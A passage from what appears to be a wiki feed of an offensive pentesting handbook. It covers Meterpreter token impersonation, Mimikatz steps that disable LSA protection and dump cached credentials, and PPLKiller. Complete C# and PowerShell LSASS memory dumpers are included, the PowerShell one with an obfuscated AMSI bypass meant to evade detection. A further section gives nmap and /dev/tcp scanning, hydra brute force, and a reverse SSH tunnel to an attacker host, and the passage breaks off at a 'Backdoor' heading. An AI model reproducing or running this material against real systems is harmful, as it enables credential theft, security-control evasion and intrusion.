* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2362</id>
		<title>Handbook I - Basic</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2362"/>
		<updated>2026-05-08T10:24:01Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Linux */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Enumeration is key ==&lt;br /&gt;
&lt;br /&gt;
* Look over the ports and scans. Get an idea of what you&#039;re working with.&lt;br /&gt;
&lt;br /&gt;
* Dont just jump on a port and start hacking&lt;br /&gt;
&lt;br /&gt;
* Find service and versions&lt;br /&gt;
&lt;br /&gt;
* Find known service bugs&lt;br /&gt;
&lt;br /&gt;
* Find config issues&lt;br /&gt;
&lt;br /&gt;
* Find vulnerabilities using &#039;&#039;&#039;Searchsploit&#039;&#039;&#039; every service/app available&lt;br /&gt;
&lt;br /&gt;
* Enumerate each service closely. Look at the header using nc/telnet.&lt;br /&gt;
&lt;br /&gt;
* Default credentials (admin:admin, admin:secret, admin:pass etc…)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful websites ==&lt;br /&gt;
&lt;br /&gt;
[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]&lt;br /&gt;
&lt;br /&gt;
[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== RedTeam Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== WebApp Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== Network Mapping ==&lt;br /&gt;
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.&lt;br /&gt;
=== Angry IP Scanner ===&lt;br /&gt;
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]&lt;br /&gt;
[[File:2024-08-image-1.png|thumb]]&lt;br /&gt;
=== NMAP ===&lt;br /&gt;
Fast scan to list open ports&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -p- --min-rate 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Scan using default scripts and list version, output to nmap.result&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV  -oN nmap.result&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Default nmap command to run against target&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV -sU -p- --min-rate 10000  -oN outfile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Quick port scan script ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
host=192.168.1.1&lt;br /&gt;
for port in {1..65535}; do&lt;br /&gt;
    timeout .1 bash -c &amp;quot;echo &amp;gt;/dev/tcp/$host/$port&amp;quot; &amp;amp;&amp;amp;&lt;br /&gt;
        echo &amp;quot;port $port is open&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
echo &amp;quot;Done&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ping scan one-liner ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i &amp;gt; nul &amp;amp;&amp;amp; echo 10.5.5.%i is up.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PRTG Network Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]&lt;br /&gt;
&lt;br /&gt;
=== SoftPerfect Network Scanner ===&lt;br /&gt;
&lt;br /&gt;
[https://www.softperfect.com https://www.softperfect.com]&lt;br /&gt;
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.&lt;br /&gt;
&lt;br /&gt;
Free version limit: Only 10 devices.&lt;br /&gt;
&lt;br /&gt;
[[File:2024-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
== 21 - FTP ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  21&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ftp:// -u -vV&lt;br /&gt;
# Try default usernames like admin:admin, admin:password etc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Default credentials ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Downlad file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
get&lt;br /&gt;
# Download all files from FTP&lt;br /&gt;
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all&lt;br /&gt;
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload file ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER! If uploading binary, type &#039;binary&#039; into console otherwise the binary wont work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
put&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 22 - SSH ==&lt;br /&gt;
&lt;br /&gt;
=== Create SSH Tunnel from target to attacker ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CREATE dedicated reverse ssh account on pentest1&lt;br /&gt;
sudo useradd -m -s /bin/bash user&lt;br /&gt;
ssh-keygen -t ed25519 -f user -C &amp;quot;user&amp;quot;&lt;br /&gt;
sudo mkdir -p /home/user/.ssh&lt;br /&gt;
sudo chmod 700 /home/user/.ssh&lt;br /&gt;
sudo sh -c &#039;cat user.pub &amp;gt;&amp;gt; /home/user/.ssh/authorized_keys&#039;&lt;br /&gt;
sudo chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
sudo chown -R user:user /home/user/.ssh&lt;br /&gt;
chmod 700 /home/user&lt;br /&gt;
chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
chown user:user /home/user&lt;br /&gt;
# ON target, portforward&lt;br /&gt;
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.&lt;br /&gt;
icacls .\key.txt /inheritance:r&lt;br /&gt;
 ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip&lt;br /&gt;
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.&lt;br /&gt;
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &amp;amp;&lt;br /&gt;
# In hosts file add the dc hostname and tie to localhost on pentest1&lt;br /&gt;
127.0.0.1 DC.domain.local&lt;br /&gt;
&lt;br /&gt;
# From attacker windows machine.&lt;br /&gt;
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .&lt;br /&gt;
# This will reach the linux machine and make them accessible to me.&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ssh:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Config files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh_config&lt;br /&gt;
sshd_config&lt;br /&gt;
authorized_keys&lt;br /&gt;
ssh_known_hosts&lt;br /&gt;
known_hosts&lt;br /&gt;
id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Backdoor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
